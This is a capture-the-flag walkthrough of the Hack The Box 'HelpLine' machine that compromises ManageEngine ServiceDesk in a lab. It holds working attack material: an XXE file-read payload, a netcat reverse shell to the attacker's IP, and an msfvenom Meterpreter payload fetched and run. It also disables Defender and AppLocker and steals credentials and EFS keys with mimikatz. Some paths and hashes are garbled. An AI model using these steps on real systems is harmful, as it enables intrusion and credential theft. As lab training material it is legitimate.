

# HelpLine

```
=====
| HELPLINE 10.10.10.132 |
+=====
```

## InfoGathering

### NMAP SCAN

```
-----
PORT      STATE SERVICE
135/tcp   open  msrpc
445/tcp   open  microsoft-ds
8080/tcp  open  http-proxy
```

```
root@kali:~/HTB/boxes/HelpLine# nmap -sC -sV -O -A 10.10.10.132
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-28 19:18 MDT
Nmap scan report for helpline.htb (10.10.10.132)
```

Host is up (0.20s latency).

Not shown: 997 filtered ports

```
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows
RPC
```

```
445/tcp   open  microsoft-ds?
```

```
8080/tcp  open  http-proxy   -
```

| fingerprint-strings:

| FourOhFourRequest:

| HTTP/1.1 404 Not Found

| Set-Cookie: JSESSIONID=F2AF25CBDE18C0BDA432B78AE15D0326; Path=/; HttpOnly

| X-XSS-Protection: 1; mode=block

| Content-Type: text/

html;charset=UTF-8

[47/95]

| Vary: Accept-Encoding

| Date: Mon, 29 Jul 2019 01:11:53 GMT

| Connection: close

| Server: -

| <!DOCTYPE html>

| <html>

| <head>

| <meta http-equiv="X-UA-Compatible" content="IE=Edge">

| <script>var isMSP = false; </script>

| <!-- CWF START -->

| <script type="text/javascript" src="/scripts/ClientLogger.js?9309"></script>

| <script>

| curLevStr = 'INFO';

| //Level.INFO is stored as default..

| curLev = 800;

| levelVals = [{NAME:"FINEST",VALUE:300},{NAME:"FINER",VALUE:400},{NAME:"FINE",VALUE:500},

{NAME:"CONFIG",VALUE:700},{NAME:"INFO",VALUE:800},{NAME:"WARNING",VALUE:900},

{NAME:"SEVERE",VALU

E:1000},{NAME:"ALL",VALUE:1200}];//no i18n

| levelVals.length;

| Level = {FINEST:"300",FIN




Network Distance: 2 hops  
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:  
|\_clock-skew: mean: -7m47s, deviation: 0s, median: -7m47s  
|\_smb2-security-mode:  
| 2.02:  
|\_ Message signing enabled but not required  
|\_smb2-time:  
| date: 2019-07-28 19:13:37  
|\_ start\_date: N/A

TRACEROUTE (using port 445/tcp)  
HOP RTT ADDRESS  
1 96.19 ms 10.10.14.1  
2 278.57 ms helpline.htb (10.10.10.132)

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/>.  
Nmap done: 1 IP address (1 host up) scanned in 188.01 seconds

We see that port 8080 is open over http so we navigate there in our browser.  
We discover Manage Engine Version 9.3 is being used.



## DIRB RESULTS

-----

# Gaining Access

The search for vulnerabilities of ManageEngine Version 9.3 turned of the below exploits.

The below link tells me their may be a user Guest with a password of guest.

RESOURCE: <https://packetstormsecurity.com/files/129806/ManageEngine-Shell-Upload-Directory-Traversal.html>




Username

Password

Keep me signed in

IT WORKED!



RESOURCE: <https://www.exploit-db.com/exploits/35891>

If we enter the below into our address bar the following things happen.

^^^

<http://10.10.10.132:8080/servlet/AjaxServlet?action=checkUser&search=guest>

^^^

When a user exists in the Service Desk Database the webserver returns "true". in it's JSON output. The Web Server returns "False" if the user does not exist in it's JSON output.




The below exploit seemed like a way for us to upgrade our access to a different user.

RESOURCE: <https://www.exploit-db.com/exploits/42037>



For this to work we need to perform the following steps.


1.) Sign into <http://10.10.10.132:8080/mc/> Here we are already logged in as Guest.

NOTE: Ensure the /mc/ URI Extension is opened in a new tag or this trick won't work.




2.) Log out and delete the URI and press "Enter"







3.) We enter the credentials USER: administrator PASS: administrator and click “Login”



IT WORKED!!! Now go back to the first web panel and Refresh the webpage.




After Refresh we are the administrator on that site too!



The image shows a user profile for 'administrator'. It features a circular placeholder for a profile picture, the name 'administrator', and a green 'ONLINE' status indicator. Below the profile are three menu items: 'Personalize', 'common.changepassword', and 'API Key Generation'. At the bottom is a 'Log out' button with a power icon.

Time to look for something interesting. There is a closed Service Desk request.  
USERNAME: alice was created for an audit.



The image shows a screenshot of a ServiceDesk request page. The header includes the ManageEngine ServiceDesk logo and a breadcrumb trail: Home > Requests > View Request. The request details are as follows:

<b>Request ID</b>	: 9
<b>Requester</b>	: administrator
<b>Status</b>	: Closed
<b>Technician</b>	: Luis Ribeiro
<b>Priority</b>	: <span style="color: red;">■</span> High
<b>Due by time</b>	: Jan 1, 2019 10:00 AM

**Subject:**  
Account for IT Auditor

**Description:**  
Team - please create a login for the IT Auditors. They will need access to the helpdesk system and server Thanks


At the bottom right, there are two buttons: 'Delete' and 'More...'.



Home > Requests > Req Id : 9 > View Resolution




New local account created for auditor.

Username: alice


**Submitted by : Luis Ribelro**



Requests Solutions Admin  


ADManager Plus Advanced Analytics AD Self Service Zoho Creator App    

All Solutions > General

 **Password Audit (Audience: IT Teams / Auditors)**  
Type: Solution | Updated On: Jan 2, 2019 12:27 AM

Please see password audit attached. Continue to update this spreadsheet with identified credentials.

Attached Files :

 [Password Audit.xlsx](#) (16.38KB) by administrator on Jan 2, 2019 12:27 AM

There is an Excel File attached to the ticket Solution. Lets download it and have a looksie. I am running Kali inside a Windows box so I opened the file with Excel. Google Saas should open it too.

I run the below command to se what we are dealing with.

```
binwalk Password+Audit.xlsx
```




```

root@kali:~/RTB/boxes/RelgLine# binwalk Password+Audit.xlsx
DECIMAL      HEXADECIMAL  DESCRIPTION
-----
0            0x0         Zip archive data, at least v2.0 to extract, compressed size: 438, uncompressed size: 2148, name: [Content Types].xml
1087        0x38F       Zip archive data, at least v2.0 to extract, compressed size: 244, uncompressed size: 588, name: _rels/.rels
1812        0x714       Zip archive data, at least v2.0 to extract, compressed size: 828, uncompressed size: 1938, name: xl/workbook.xml
2685        0xA7D       Zip archive data, at least v2.0 to extract, compressed size: 287, uncompressed size: 1121, name: xl/_rels/workbook.xml.rels
3272        0xCC8       Zip archive data, at least v2.0 to extract, compressed size: 780, uncompressed size: 1887, name: xl/worksheets/sheet1.xml
4826        0xF8A       Zip archive data, at least v2.0 to extract, compressed size: 437, uncompressed size: 916, name: xl/worksheets/sheet2.xml
4517        0x11A5      Zip archive data, at least v2.0 to extract, compressed size: 439, uncompressed size: 916, name: xl/worksheets/sheet3.xml
5018        0x1392      Zip archive data, at least v2.0 to extract, compressed size: 971, uncompressed size: 3229, name: xl/worksheets/sheet4.xml
6635        0x1793      Zip archive data, at least v2.0 to extract, compressed size: 1379, uncompressed size: 3390, name: xl/theme/theme1.xml
7954        0x1F12      Zip archive data, at least v2.0 to extract, compressed size: 782, uncompressed size: 2539, name: xl/styles.xml
8759        0x2237      Zip archive data, at least v2.0 to extract, compressed size: 668, uncompressed size: 1422, name: xl/sharedStrings.xml
9477        0x23A5      Zip archive data, at least v2.0 to extract, compressed size: 545, uncompressed size: 1224, name: xl/drawings/drawing1.xml
10876       0x275C      Zip archive data, at least v2.0 to extract, compressed size: 1865, uncompressed size: 6420, name: xl/charts/chart1.xml
11792       0x2E1B      Zip archive data, at least v2.0 to extract, compressed size: 1167, uncompressed size: 9937, name: xl/charts/style1.xml
13089       0x3201      Zip archive data, at least v2.0 to extract, compressed size: 253, uncompressed size: 878, name: xl/charts/colors1.xml
13313       0x3481      Zip archive data, at least v2.0 to extract, compressed size: 189, uncompressed size: 299, name: xl/worksheets/_rels/sheet1.xml.rels
13547       0x34FF      Zip archive data, at least v2.0 to extract, compressed size: 193, uncompressed size: 322, name: xl/worksheets/_rels/sheet4.xml.rels
13825       0x3681      Zip archive data, at least v2.0 to extract, compressed size: 188, uncompressed size: 293, name: xl/drawings/_rels/drawing1.xml.rels
14878       0x38FE      Zip archive data, at least v2.0 to extract, compressed size: 219, uncompressed size: 399, name: xl/charts/_rels/chart1.xml.rels
14349       0x388D      Zip archive data, at least v2.0 to extract, compressed size: 438, uncompressed size: 5428, name: xl/printersettings/printerSettings1.bin
14888       0x3A14      Zip archive data, at least v2.0 to extract, compressed size: 322, uncompressed size: 681, name: docProps/core.xml
15581       0x3C8D      Zip archive data, at least v2.0 to extract, compressed size: 418, uncompressed size: 881, name: docProps/app.xml
17753       0x4359      End of Zip archive, footer length: 22

```

From the above output I can see a Sheet4 exists however in Excel I can only see 3 sheets. hmmm...



We run the below command to extract the files from the zip xlsx file.

```

binwalk -e Password+Audit.xlsx
cd Password+Audit.xlsx.extracted
cd DocProps
cat app.xml

```

This gives us the below output.

```

`xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties"
xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/
docPropsVTypes"><Application>Microsoft Excel</Application><DocSecurity>0</
DocSecurity><ScaleCrop>>false</ScaleCrop><HeadingPairs><vt:vector size="2"
baseType="variant"><vt:variant><vt:lpstr>Worksheets</vt:lpstr></
vt:variant><vt:variant><vt:i4>4</vt:i4></vt:variant></vt:vector></
HeadingPairs><TitlesOfParts><vt:vector size="4" baseType="lpstr"><vt:lpstr>Password Audit</
vt:lpstr><vt:lpstr>Sheet1</vt:lpstr><vt:lpstr>Sheet2</vt:lpstr><vt:lpstr>Password Data</
vt:lpstr></vt:vector></TitlesOfParts><Company></Company><LinksUpToDate>>false</
LinksUpToDate><SharedDoc>>false</SharedDoc><HyperlinksChanged>>false</
HyperlinksChanged><AppVersion>16.0300</AppVersion></Properties>

```


The missing sheet is called "Password Data" so it must be hidden.

```

tr>Sheet2</vt:lpstr><vt:lpstr>Password Data</vt:lpstr></vt:

```

In the open Excel file Right Click a tab and select unhide data and click OK.



The recent penetration test revealed some accounts with weak password security, probably there are more. We should also consider something that can automate account discovery. Please update this document with any accounts/logins which you suspect have weak / easily guessable passwords.

System	Username	Password	Privilege	Action
Oracle	scott	tiger	Yes	
WordPress	admin	megabank1	Yes	
Windows 7 Local Admin	Administrator	Megabank123	No	
MFT download	clients	megabank1	No	
Jump box	gavin		Yes	Find out if still needed
Add additional rows as needed				
<b>Other Accounts Identified (local shadow admins/accounts)</b>				
File containing details from subsequent audit saved to C:\Temp>Password Audit\it_logins.txt on HELPLINE				

Now we have some credentials and a sentence that says...

“File containing details from subsequent audit saved to C:\Temp>Password Audit\it\_logins.txt on HelpLine”

I bet there credentials there are more reliable than the ones we have found.

That is added to our goal list. Read that file.

XML is the variable in the game. Let's do a check to see if we can find any XXE Injections to try out. This one seems interesting.

RESOURCE: <https://labs.integrity.pt/advisories/cve-2017-9362/index.html>

We navigate to the URI extension /api/cmdb/ci and return some xml



```
Content-Length: 2670
```

```
OPERATION_NAME=add&INPUT_DATA=<!DOCTYPE foo [<!ENTITY xxel5d4l SYSTEM "file:///C:\Temp>Password
Audit\it_logins.txt"> ]><API version='1.0' locale='en'>
  <records>
    <record>
      <parameter>
        <name>{T Name}/name>
```

We now have Alice's credentials

USER: alice

PASS: \$sys4ops@megabank!

Lets try to use WinRM since this is a windows box to login.

RESOURCE: <https://github.com/Alamot/code-snippets/tree/master/winrm>

Download the file there and change the code to fit what we need.

```
require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt

conn = WinRM::Connection.new(
  endpoint: 'http://10.10.10.132:5985/wsman',
  # transport: :ssl,
  user: 'alice',
  password: '$sys4ops@megabank!',
  :no_ssl_peer_verification => true
)
```

```
ruby winrm_with_upload.rb
```

Our first shell is obtained as Alice!

We do not have permission to check the administrator desktop or other directories.

Back to the swisscows search and we find the below resource.

RESOURCE: <https://www.manageengine.com/products/service-desk-msp/help/adminguide/configurations/helpdesk/custom-triggers.html>

This tells us we can set up an action rule which will execute out commands.

Let's upload a netcat listener to the box with alice and set up an action rule to execute it.

On our machine open the http server for the netcat file.


RESOURCE: <https://github.com/DarrenRainey/netcat>

```
python -m SimpleHTTPServer
```

On target issue the below command as Alice.

```
Invoke-WebRequest -Uri "http://10.10.14.20:8000/nc64.exe" -OutFile "C:\Windows\System32\spool\drivers\color\nc64.exe"
cd C:\Windows\System32\spool\drivers\color
```

Now in the Web Application, set up a custom trigger action rule. Go to the Admin tab. Type Custom Trigger into the search and select it. Click add new action in the top right corner.



### New Action

Action Name\*

Description

Execute the Action

### Match the below criteria\*

Sender

Status

To

[Add another criteria](#)

### Perform Action

To perform actions, it is necessary to have a Script or Class file in the specified locations for the action implementation.

#### Action Type

#### Script file to run

Example: cmd /c CreateJiraTicket.bat  
By Default, scripts should be placed in [SDP\_Home]/integration/custom\_scripts/ directory

Custom Triggers

✖ 📧 ✅ tobor Created Any Time 🔍

tobor

Criteria : Sender contains (guest) OR Status is (Open or Onhold or Closed or Resolved) OR To contains (administrator)

Action Executor : cmd /c C:\Windows\System32\spool\drivers\color\nc64.exe 10.10.14.20 8088 -e cmd.exe

Click Save and go to the /mc/ web panel and create a ticket.

Open up a netcat listener on our machine.

```

nc -lvnp 8089

```

Create a new ticket.

ManageEngine ServiceDesk plus

Home > Requests > New Incident

**Requester Name\***

Guest

**Request Title\***

tobor

**Description**

tobor

We have a shell as System!

We cannot read the root.txt file or the user.txt file

This is because the files are encrypted. The cipher command can unencrypt the files.

Administrator encrypted the root.txt file and Tolu encrypted the user.txt file.

We have to privilege escalate to Administrator and Tolu user to read the flags.

After enumerating users directories, we find admin-pass.xml in leo desktop directory.

This is a file only Leo can read.

With the system shell lets try a Meterpreter session and use incognito to check for tokens to impersonate.

Generate the payload.

```


msfvenom -p windows/x64/meterpreter/reverse\_tcp LHOST=10.10.14.20 LPORT=8002 -f exe -o rev.exe

```
msfconsole
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.20
set LPORT 8002
show options
run
```
```

Now we need to upload the payload to the target and execute it.  
Let's turn off Windows Defender to try and prevent any issues there.

```
powershell.exe Set-MpPreference -DisableRealtimeMonitoring 1
Invoke-WebRequest -Uri "http://10.10.14.20:8000/rev.exe" -OutFile "C:
\Windows\System32\spool\drivers\color\rev.exe"
C:\Windows\System32\spool\drivers\color\rev.exe
```
```

Our shell is opened



```
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.20:8002
[*] Sending stage (206403 bytes) to 10.10.10.132
[*] Meterpreter session 1 opened (10.10.14.20:8002 ->
10.10.10.132)

meterpreter >
[HTB] 0:openvpn 1:winrm- 2:msf* 3:python
```

```
```
load incognito
list_tokens -u
```
```

Let's try to impersonate leo and read that xml file.

```
```
impersonate_token HELPLINE\leo
type C:\Users\leo\Desktop\admin-pass.xml
```
```

```

meterpreter > load incognito
Loading extension incognito...Success.
meterpreter > list_tokens -u

Delegation Tokens Available
=====
Font Driver Host\UMFD-0
Font Driver Host\UMFD-1
HELPLINE\alice
HELPLINE\leo
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Window Manager\DWM-1

Impersonation Tokens Available
=====
No tokens available

meterpreter > impersonate_token HELPLINE\leo
[+] Delegation token available
[+] Successfully impersonated user HELPLINE\leo

```

It contains the below string.

```
01000000d08c9ddf0115d1118c7a00c04fc297eb01000000f2fefa98a0d84f4b917dd8a1f5889c8100000000
```

The string is a PowerShell password encrypted. The first 48 chars are the same when encrypting a password via powershell. (DPAPI)

Lets get Leo's GUID master key. To do this we will need mimikatz.exe

```

Invoke-WebRequest -Uri "http://10.10.14.20:8000/mimikatz.exe" -OutFile "C:\windows\system32\spool\drivers\color\mimikatz.exe"
mimikatz # sid::lookup /name:leo

```



```
C:\Windows\System32\spool\drivers\color>mimikatz.exe
mimikatz.exe

.#####.   mimikatz 2.2.0 (x64) #17763 Apr  4 2019 23:56:50
.## ^ ##.   "A La Vie, A L'Amour" - (oe.eo) ** Cam Edition **
## / \ ##   /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ##   > http://blog.gentilkiwi.com/mimikatz
'## v ##'   Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####'   > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # sid::lookup /name:leo
Name : leo
Type : User
Domain: HELPLINE
SID : S-1-5-21-3107372852-1132949149-763516304-1009

mimikatz #
[NTB] 0:openvpn 1:winnm- 2:msf* 3:http
```

From the powershell system shell issue the following command.

```
ls C:\Users\leo\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1009\
-a--s-
12/24/2018 11:30 PM
2249
0adb35e6af79140cd17cd02c4e6fa128_86f90bf3-9d4c-47b0-bc79-380521b14c85
```

Now to obtain the GUID Master key

```
mimikatz # dpapi::capi /in:"C:\Users\leo\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1009\0adb35e6af79140cd17cd02c4e6fa128_86f90bf3-9d4c-47b0-bc79-380521b14c85"
```

```
mimikatz #dpapi::capi /in:"C:\Users\leo\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1009\0adb35e6af79140cd17cd02c4e6fa128_86f90bf3-9d4c-47b0-bc79-380521b14c85"
ERROR mimikatz_doLocal ; "1009\0adb35e6af79140cd17cd02c4e6fa128_86f90bf3-9d4c-47b0-bc79-380521b14c85dpapi" mod

standard - Standard module [Basic commands (does not require module name)]
crypto - Crypto Module
sekurlsa - SekurlSA module [Some commands to enumerate credentials...]
kerberos - Kerberos package module []
privilege - Privilege module
process - Process module
service - Service module
lsadump - LsaDump module
ts - Terminal Server module
event - Event module
misc - Miscellaneous module
token - Token manipulation module
vault - Windows Vault/Credential module
minesweeper - MineSweeper module
net -
dpapi - DPAPI Module (by API or RAW access) [Data Protection application programming interface]
busylight - BusyLight Module
sysenv - System Environment Value module
sid - Security Identifiers module
iis - IIS XML Config module
rpc - RPC control of mimikatz
sr98 - RF module for SR98 device and T5577 target
rdm - RF module for RDM(830 AL) device
acr - ACR Module
```

```
guidMasterKey
: {98fafef2-d8a0-4b4f-917d-d8a1f5889c81}
```

Let's get the guidMasterKey from the admin-pass.xml string. We will use cut command for that.

```
echo -n
"01000000d08c9ddf0115d1118c7a00c04fc297eb01000000f2fefa98a0d84f4b917dd8a1f5889c8100000000
| cut -c49-80
f2fefa98a0d84f4b917dd8a1f5889c81
```

```
admin-pass.xml guidMasterKey
f2 fe fa 98a0 d84f 4b91 7dd8 a1 f5 88 9c 81
leo guidMasterKey
98fafef2-d8a0-4b4f-917d-d8a1f5889c81
```

We can see above that guidMasterKeys do match. This means admin-pass.xml string is a PowerShell encrypted password which we already knew. The file has been encrypted by leo. Knowing that we can decrypt the password using PowerShell under a leo shell.

```
-----
DECRYPTING admin-pass.xml
-----
```

In the leo shell do the following. To save some writing the initial script below errors out. This is because PowerShell is in ConstrainedLanguage mode which means limited functionality. Language mode registry setting is here HKLM\System\CurrentControlSet\Control\SESSION MANAGER\Environment\\_\_PSLockdownPolicy The following are the values for it.

```
0 = Full Language
1 = Full Language
2 = Full Language
3 = Full Language
4 = Constrained Language Mode
5 = Constrained Language Mode
6 = Constrained Language Mode
7 = Constrained Lang
8 = Full Language
```

We can also change this value by disabling the AppLocker Policy We will do this by uploading an xml file from our machine to the target. Create applocker.xml with the following contents.

```
``xml
<AppLockerPolicy Version="1">
  <RuleCollection Type="Exe" EnforcementMode="NotConfigured" />
  <RuleCollection Type="Msi" EnforcementMode="NotConfigured" />
  <RuleCollection Type="Script" EnforcementMode="NotConfigured" />
  <RuleCollection Type="Dll" EnforcementMode="NotConfigured" />
  <RuleCollection Type="Appx" EnforcementMode="NotConfigured" />
</AppLockerPolicy>
```

```
Invoke-WebRequest -Uri "http://10.10.14.20:8000/applocker.xml" -OutFile "C:
\users\leo\desktop\applocker.xml"
Import-Module AppLocker
```

```

Set-AppLockerPolicy -XMLPolicy C:\users\leo\Desktop\applocker.xml
Write-Verbose "AppLocker Policies removed..."
$ExecutionContext.SessionState.LanguageMode
$File = "C:\Users\leo\Desktop\admin-pass.xml"
$SecureString = ConvertTo-SecureString -String (Get-Content $File)
$BSTR = [System.Runtime.InteropServices]::SecureStringToBSTR($SecureString)
$Password = [System.Runtime.InteropServices]::PtrToStringAuto($BSTR)
$Password
```

```

```

PS C:\Windows\System32\spool\drivers\color> $File = "C:\Users\leo\Desktop\admin-pass.xml"
$File = "C:\Users\leo\Desktop\admin-pass.xml"
PS C:\Windows\System32\spool\drivers\color> $SecureString = ConvertTo-SecureString -String (Get-Content $File)
$SecureString = ConvertTo-SecureString -String (Get-Content $File)
PS C:\Windows\System32\spool\drivers\color> $BSTR = [System.Runtime.InteropServices]::SecureStringToBSTR($SecureString)
$BSTR = [System.Runtime.InteropServices]::SecureStringToBSTR($SecureString)
PS C:\Windows\System32\spool\drivers\color> $Password = [System.Runtime.InteropServices]::PtrToStringAuto($BSTR)
$Password = [System.Runtime.InteropServices]::PtrToStringAuto($BSTR)
PS C:\Windows\System32\spool\drivers\color> $Password
$Password
mb@letmein@SERVER#acc
PS C:\Windows\System32\spool\drivers\color>
[RTB] 0:openvpn 1:winrm 2:http 3:netcat 4:rsf*

```

USER: Administrator  
PASS: mb@letmein@SERVER#acc

We can now use the admin credentials to login with the winrm ruby script.  
We still cant decrypt the root.txt file which means we need some DFS certificates.  
Here is a guide we will follow.  
RESOURCE: <https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files>

Administrator Certificate Thumbprint: FB15 4575 993A 250F E826 DBAC 79EF 26C2 11CB 77B3

```

mimilatz.exe
crypto::system /file:"C:\Users\Administrator\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\FB154575993A250FE8bc79-380521b14c85"
export
```

```

Key Container : 3dd3e213-bce6-4acb-808c-a1b3227ecbde

We have a certificate in the below file  
FB154575993A250FE826DBAC79EF26C211CB77B3.der

```

SID::lookup /name:Administrator dpapi::capi /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-d881-4ccb-8bd8-bc0a19608687"
```

```

guidMasterKey : {9e78687d-d881-4ccb-8bd8-bc0a19608687}

As system we need to execute the below commands.

```

dpapi::masterkey /in:"C:\Users\Administrator\AppData\Roaming\Microsoft\Protect\S-1-5-21-3107372852-1132949149-763516304-50d881-4ccb-8bd8-bc0a19608687" /password:"mb@letmein@SERVER#acc"
```

```

RESULT  
[masterkey] with password: mb@letmein@SERVER#acc (normal user)  
key:  
8ed6519c4d09a506504c4f611203bea8979a385f8a444fe57b5d2256ee1e4eb34392a141f502cd9aeea8d2187c2525c3ae998dc3cebad81cc4e41dbb6bc65fa8

```
sha1: b18974052cb509a86a008869fd95388550678184
```

```
DECRYPT THE PRIVATE KEY AS SYSTEM
```

```
^^^
```

```
dpapi::capi /in:"C:
```

```
\Users\Administrator\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-76351630  
bc79-380521b14c85" /masterkey:b18974052cb509a86a008869fd95388550678184
```

```
^^^
```

```
We have a private key in a file raw_exchange_capi_0_3dd3e213-bce6-4acb-808c-a1b3227ecbde.pvk  
I used Meterpreter to download the files
```

```
^^^
```

```
download FB154575993A250FE826DBAC79EF26C211CB77B3.der
```

```
download raw_exchange_capi_0_3dd3e213-bce6-4acb-808c-a1b3227ecbde.pvk
```

```
^^^
```

```
We can locally download the certificate and the private key to build PFX via openssl.
```

```
Below commands will create a PFX file.
```

```
^^^
```

```
openssl x509 -inform DER -outform PEM -in FB154575993A250FE826DBAC79EF26C211CB77B3.der -  
out public.pem
```

```
openssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_3dd3e213-bce6-4acb-808c-  
a1b3227ecbde.pvk -out private.pem
```

```
openssl pkcs12 -in public.pem -inkey private.pem -password pass:mimikatz -keyex -CSP "Microsoft  
Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```

```
^^^
```

```
Download to the box created PFX file
```

```
^^^
```

```
Invoke-WebRequest -Uri "http://10.10.14.20:8000/cert.pfx" -OutFile "C:  
\Users\Administrator\Desktop\cert.pfx"
```

```
^^^
```

```
Install cert as system
```

```
^^^
```

```
cd C:\Users\Administrator\Desktop
```

```
certutil -user -p mimikatz -importpfx cert.pfx NoChain,NoRoot
```

```
^^^
```

```
Let's try to read the root.txt file as system
```

```
FINALLY!!!
```

```
^^^
```

```
cat root.txt
```

```
^^^
```

```
d814211fc0538e50a008afd817f75a2c
```

```
PS C:\Users\administrator\Desktop> certutil -user -p mimikatz -importpfx cert.pfx NoChain,NoRoot  
certutil -user -p mimikatz -importpfx cert.pfx NoChain,NoRoot  
Certificate "Administrator" added to store.
```

```
CertUtil: -importPFX command completed successfully.
```

```
PS C:\Users\administrator\Desktop> cat root.txt
```

```
cat root.txt
```

```
d814211fc0538e50a008afd817f75a2c
```

## ***PrivEsc***

While enumerating users we have found Zachary in the Event Log Readers group.

```
net user zachary
Get-EventLog -List
```

The below resource is a script that can be used to dump all security logs for checking Offline.  
RESOURCE: <https://blogs.technet.microsoft.com/samdrey/2018/04/13/powershell-script-to-export-events-to-screen-and-or-to-file-from-one-or-multiple-machines/>  
Execute the script. After it completes we grep through it.

```
\eventlog.ps1 -Computers HELPLINE -EventLogName Security -NumberOfLastEventsToGet23781 -
ExportToFile
grep -rnw eventlogs.csv -e "tolu"
```

We get Tolu's credentials who is not able to login via WinRM.

```
USER: tolu
PASS: !zaq1234567890pl!99
```

Chances are this is the same situation as before. Again we follow these steps.  
RESOURCE: <https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files>  
Certificate thumbprint: 91EF 5D08 D1F7 C60A A0E4 CEE7 3E05 0639 A669 2F29

```
``` mimikatz
crypto::system /file:"C:
\Users\tolu\AppData\Roaming\Microsoft\SystemCertificates\My\Certificates\91EF5D08D1F7C60AA0E4CEE73
export
SID::lookup /name:tolu
```

```
Key Container : e65e6804-f9cd-4a35-b3c9-c3a72a162e4d
```

We have a certificate in a file so let's download it.

```
``` meterpreter
download91EF5D08D1F7C60AA0E4CEE73E050639A6692F29.der
```

```
``` powershell
ls C:
```

```
\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1011\
```

Private key filenames are not always linked to container names. We must test them, and compare UniqueName field with the container name.

```
```mimikatz
```

```
dpapi::capi /in:"C:
```

```
\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1011\30bc79-380521b14c85"
```

```
guidMasterKey : {2f452fc5-c6d2-4706-a4f7-1cd6b891c017}
```

Below command is to be issued as system

```
dpapi::masterkey /in:"C:
```

```
\Users\tolu\AppData\Roaming\Microsoft\Protect\S-1-5-21-3107372852-1132949149-763516304-1011\2f452fc5-c6d2-4706-a4f7-1cd6b891c017" /password:"!zaq1234567890pl!99"
```

```
masterkey] with password: !zaq1234567890pl!99 (normal user)
```

```
key :
```

```
1d0cea3fd8c42574c1a286e3938e6038d3ed370969317fb413b339f8699dcbf7f563b42b72ef45b394c61f73c  
sha1: 8ece5985210c26ecf3dd9c53a38fc58478100ccb
```

Below command to execute as System.

```
dpapi::capi /in:"C:
```

```
\Users\tolu\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3107372852-1132949149-763516304-1011\30bc79-380521b14c85" /masterkey:8ece5985210c26ecf3dd9c53a38fc58478100ccb
```

We have a private key in a file raw\_exchange\_capi\_0\_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk

```
```meterpreter
```

```
download raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-c3a72a162e4d.pvk
```

Below commands will create a PFX file.

```
openssl x509 -inform DER -outform PEM -in 91EF5D08D1F7C60AA0E4CEE73E050639A6692F29.der -  
out public.pem
```

```
openssl rsa -inform PVK -outform PEM -in raw_exchange_capi_0_e65e6804-f9cd-4a35-b3c9-  
c3a72a162e4d.pvk -out private.pem
```

```
openssl pkcs12 -in public.pem -inkey private.pem -password pass:mimikatz -keyex -CSP "Microsoft  
Enhanced Cryptographic Provider v1.0" -export -out cert_tolu.pfx
```

Download to the PFX file to the target

```
Invoke-WebRequest -Uri "http://10.10.14.20:8000/cert_tolu.pfx" -OutFile "C:  
\users\tolu\desktop\cert_tolu.pfx"
```

Install the cert as System.

```
certutil -user -p mimikatz -importpfx cert_tolu.pfx NoChain,NoRoot
```

```
PS C:\Windows\System32\spool\drivers\color> Invoke-WebRequest -Uri "http://10.10.14.20:8080/cert_tolu.pfx" -OutFile "C:\users\tolu\desktop\cert_tolu.pfx"
Invoke-WebRequest -Uri "http://10.10.14.20:8080/cert_tolu.pfx" -OutFile "C:\users\tolu\desktop\cert_tolu.pfx"
PS C:\Windows\System32\spool\drivers\color> cd C:\Users\tolu\desktop
cd C:\Users\tolu\desktop
PS C:\Users\tolu\desktop> certutil -user -p mimikatz -importpfx cert_tolu.pfx NoChain,NoRoot
certutil -user -p mimikatz -importpfx cert_tolu.pfx NoChain,NoRoot
Certificate "tolu" added to store.

CertUtil: -importPFX command completed successfully.
PS C:\Users\tolu\desktop> cat user.txt
cat user.txt
0d522fa8d6d2671636ac7e73216808d3
PS C:\Users\tolu\desktop>
[0] 0:root@kali ~ 1:alice 2:http 3:system* 4:lee 5:Administrator 6:bash
```

cat user.txt

USER FLAG: 0d522fa8d6d2671636ac7e73216808d3